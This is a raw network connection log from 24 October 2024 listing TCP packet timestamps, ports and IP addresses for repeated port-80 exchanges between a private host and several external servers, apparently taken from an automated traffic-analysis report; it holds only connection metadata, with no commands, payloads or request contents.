Oct 24, 2024 15:18:25.991389990 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.991395950 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:25.992074966 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.992129087 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.992134094 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:25.992171049 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.992221117 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:25.992407084 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.992468119 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.992506981 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.992515087 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:25.993392944 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.993463993 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.107760906 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.107839108 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.107876062 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.107888937 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.107912064 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.107966900 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.107992887 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.108007908 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.108056068 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.108243942 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.108292103 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.108344078 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.108704090 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.108762980 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.108800888 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.108815908 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.108839989 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.108891964 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.150583029 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.150638103 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.150686979 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.150687933 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.193412066 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.219250917 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.219398022 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.219499111 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.224824905 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.224900961 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.224931955 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.224966049 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.224991083 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.225001097 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.225017071 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.225038052 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.225076914 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.225092888 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.225173950 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.225217104 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.225231886 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.225266933 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.225307941 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.225986958 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.226033926 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.226083040 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.267618895 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.267678976 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.267715931 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.267731905 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.267755985 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.267882109 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.336225033 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.336270094 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.336605072 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.341603994 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.341653109 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.341691017 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.341727018 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.341767073 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.341773033 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.341804981 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.342020035 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.342058897 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.342075109 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.342097044 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.342133045 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.342144966 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.342753887 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.342808008 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.384578943 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.384603024 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.384619951 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.384637117 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.384740114 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.384906054 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.384984970 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.427824974 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.452909946 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.453012943 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.453044891 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.453071117 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.453077078 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:26.453164101 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.456813097 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:26.462764978 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:31.483870983 CEST	49995	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:31.489523888 CEST	80	49995	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:31.489676952 CEST	49995	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:31.500427961 CEST	49995	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:31.506949902 CEST	80	49995	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:32.119287968 CEST	80	49995	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:32.121083021 CEST	49995	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:33.005996943 CEST	49995	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:33.011708021 CEST	80	49995	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:34.024934053 CEST	49996	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:34.030720949 CEST	80	49996	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:34.030982971 CEST	49996	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:34.042968035 CEST	49996	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:34.048444033 CEST	80	49996	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:34.660661936 CEST	80	49996	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:34.660846949 CEST	49996	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:35.552963018 CEST	49996	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:35.558784008 CEST	80	49996	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:36.572449923 CEST	49997	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:36.578032017 CEST	80	49997	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:36.578114986 CEST	49997	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:36.592191935 CEST	49997	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:36.597657919 CEST	80	49997	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:36.597737074 CEST	80	49997	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:37.198024035 CEST	80	49997	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:37.198127985 CEST	49997	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:38.099793911 CEST	49997	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:38.105416059 CEST	80	49997	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:39.118161917 CEST	49998	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:39.123491049 CEST	80	49998	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:39.123565912 CEST	49998	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:39.130636930 CEST	49998	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:39.136018038 CEST	80	49998	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:39.753602982 CEST	80	49998	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:39.754168034 CEST	80	49998	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:39.754323959 CEST	49998	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:39.759088993 CEST	49998	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:18:39.764441013 CEST	80	49998	3.33.130.190	192.168.2.5
Oct 24, 2024 15:18:44.813421011 CEST	49999	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:44.818738937 CEST	80	49999	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:44.818821907 CEST	49999	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:44.830508947 CEST	49999	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:44.835827112 CEST	80	49999	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:45.495470047 CEST	80	49999	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:45.534012079 CEST	80	49999	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:45.534873962 CEST	49999	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:46.335377932 CEST	49999	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:47.355362892 CEST	50000	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:47.360665083 CEST	80	50000	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:47.363174915 CEST	50000	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:47.372359037 CEST	50000	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:47.377696037 CEST	80	50000	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:48.036823034 CEST	80	50000	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:48.076900005 CEST	80	50000	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:48.076989889 CEST	50000	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:48.880995989 CEST	50000	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:49.900965929 CEST	50001	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:49.906466007 CEST	80	50001	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:49.906598091 CEST	50001	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:49.917623997 CEST	50001	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:49.924417019 CEST	80	50001	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:49.924427986 CEST	80	50001	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:50.580857038 CEST	80	50001	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:50.618705034 CEST	80	50001	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:50.618875980 CEST	50001	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:51.431355953 CEST	50001	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:52.447582006 CEST	50002	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:52.453090906 CEST	80	50002	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:52.453154087 CEST	50002	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:52.464195013 CEST	50002	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:52.469566107 CEST	80	50002	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:53.154932976 CEST	80	50002	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:53.193146944 CEST	80	50002	209.74.64.190	192.168.2.5
Oct 24, 2024 15:18:53.193242073 CEST	50002	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:53.194160938 CEST	50002	80	192.168.2.5	209.74.64.190
Oct 24, 2024 15:18:53.199470043 CEST	80	50002	209.74.64.190	192.168.2.5
Oct 24, 2024 15:19:06.559196949 CEST	50003	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:06.564636946 CEST	80	50003	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:06.564708948 CEST	50003	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:06.576262951 CEST	50003	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:06.581888914 CEST	80	50003	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:07.393099070 CEST	80	50003	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:07.397027016 CEST	50003	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:08.084183931 CEST	50003	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:08.089548111 CEST	80	50003	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:09.103362083 CEST	50004	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:09.109708071 CEST	80	50004	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:09.109796047 CEST	50004	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:09.124147892 CEST	50004	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:09.130553007 CEST	80	50004	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:09.923974991 CEST	80	50004	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:09.927428961 CEST	50004	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:10.631089926 CEST	50004	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:10.636478901 CEST	80	50004	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:11.649832964 CEST	50005	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:11.655210972 CEST	80	50005	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:11.655344963 CEST	50005	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:11.667177916 CEST	50005	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:11.672677040 CEST	80	50005	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:11.672734976 CEST	80	50005	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:12.472367048 CEST	80	50005	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:12.472445965 CEST	50005	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:13.177978039 CEST	50005	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:13.183398008 CEST	80	50005	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:14.196387053 CEST	50006	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:14.201936960 CEST	80	50006	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:14.203023911 CEST	50006	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:14.209057093 CEST	50006	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:14.214575052 CEST	80	50006	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:15.027726889 CEST	80	50006	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:15.027750969 CEST	80	50006	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:15.027761936 CEST	80	50006	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:15.027821064 CEST	80	50006	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:15.027898073 CEST	80	50006	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:15.027909994 CEST	80	50006	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:15.027920008 CEST	80	50006	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:15.027930021 CEST	80	50006	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:15.027940035 CEST	80	50006	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:15.027952909 CEST	80	50006	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:15.027966022 CEST	50006	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:15.027966022 CEST	50006	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:15.027966976 CEST	50006	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:15.028068066 CEST	50006	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:15.028068066 CEST	50006	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:15.141282082 CEST	80	50006	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:15.141520023 CEST	50006	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:15.142513037 CEST	50006	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:15.147824049 CEST	80	50006	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:20.203392982 CEST	50007	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:20.210299969 CEST	80	50007	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:20.213063002 CEST	50007	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:20.224915981 CEST	50007	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:20.230645895 CEST	80	50007	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:21.037507057 CEST	80	50007	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:21.037599087 CEST	50007	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:21.740454912 CEST	50007	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:21.746088982 CEST	80	50007	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:22.759306908 CEST	50008	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:22.764652014 CEST	80	50008	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:22.764734030 CEST	50008	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:22.776475906 CEST	50008	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:22.781943083 CEST	80	50008	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:23.578150988 CEST	80	50008	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:23.579946995 CEST	50008	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:24.289025068 CEST	50008	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:24.295897961 CEST	80	50008	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:25.305865049 CEST	50009	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:25.311707973 CEST	80	50009	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:25.316982985 CEST	50009	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:25.327523947 CEST	50009	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:25.333070993 CEST	80	50009	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:25.333081007 CEST	80	50009	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:26.139936924 CEST	80	50009	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:26.144998074 CEST	50009	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:26.834323883 CEST	50009	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:26.839775085 CEST	80	50009	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:27.852999926 CEST	50010	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:27.858452082 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:27.861042976 CEST	50010	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:27.867914915 CEST	50010	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:27.873256922 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:28.733262062 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:28.733275890 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:28.733319998 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:28.733330965 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:28.733340979 CEST	50010	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:28.733342886 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:28.733352900 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:28.733366013 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:28.733375072 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:28.733386993 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:28.733443022 CEST	50010	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:28.733459949 CEST	50010	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:28.733715057 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:28.733725071 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:28.733761072 CEST	50010	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:28.984281063 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:28.984385967 CEST	50010	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:28.984857082 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:28.984908104 CEST	50010	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:28.985476017 CEST	50010	80	192.168.2.5	84.32.84.32
Oct 24, 2024 15:19:28.990782022 CEST	80	50010	84.32.84.32	192.168.2.5
Oct 24, 2024 15:19:34.013717890 CEST	50011	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:34.019210100 CEST	80	50011	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:34.019435883 CEST	50011	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:34.029742956 CEST	50011	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:34.035155058 CEST	80	50011	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:34.648092031 CEST	80	50011	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:34.648165941 CEST	50011	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:35.537463903 CEST	50011	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:35.542908907 CEST	80	50011	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:36.557975054 CEST	50012	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:36.563491106 CEST	80	50012	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:36.563569069 CEST	50012	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:36.579447031 CEST	50012	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:36.584851027 CEST	80	50012	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:37.196959972 CEST	80	50012	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:37.197063923 CEST	50012	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:38.084202051 CEST	50012	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:38.089590073 CEST	80	50012	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:39.102950096 CEST	50013	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:40.021105051 CEST	80	50013	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:40.025099039 CEST	50013	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:40.036957979 CEST	50013	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:40.042380095 CEST	80	50013	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:40.042416096 CEST	80	50013	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:40.664866924 CEST	80	50013	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:40.664932966 CEST	50013	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:41.537441969 CEST	50013	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:41.542817116 CEST	80	50013	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:42.555830956 CEST	50014	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:42.561243057 CEST	80	50014	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:42.561322927 CEST	50014	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:42.567866087 CEST	50014	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:42.573173046 CEST	80	50014	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:43.190896988 CEST	80	50014	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:43.191423893 CEST	80	50014	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:43.191467047 CEST	50014	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:43.195375919 CEST	50014	80	192.168.2.5	3.33.130.190
Oct 24, 2024 15:19:43.200671911 CEST	80	50014	3.33.130.190	192.168.2.5
Oct 24, 2024 15:19:48.981678009 CEST	50015	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:48.987338066 CEST	80	50015	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:48.987427950 CEST	50015	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:49.000989914 CEST	50015	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:49.006403923 CEST	80	50015	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:50.506124973 CEST	50015	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:50.557538986 CEST	80	50015	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:51.595098972 CEST	50016	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:51.600774050 CEST	80	50016	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:51.604437113 CEST	50016	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:51.651341915 CEST	50016	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:51.656753063 CEST	80	50016	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:52.117542028 CEST	80	50015	154.9.228.56	192.168.2.5
Oct 24, 2024 15:19:52.121088982 CEST	50015	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:53.162610054 CEST	50016	80	192.168.2.5	154.9.228.56
Oct 24, 2024 15:19:53.209490061 CEST	80	50016	154.9.228.56	192.168.2.5
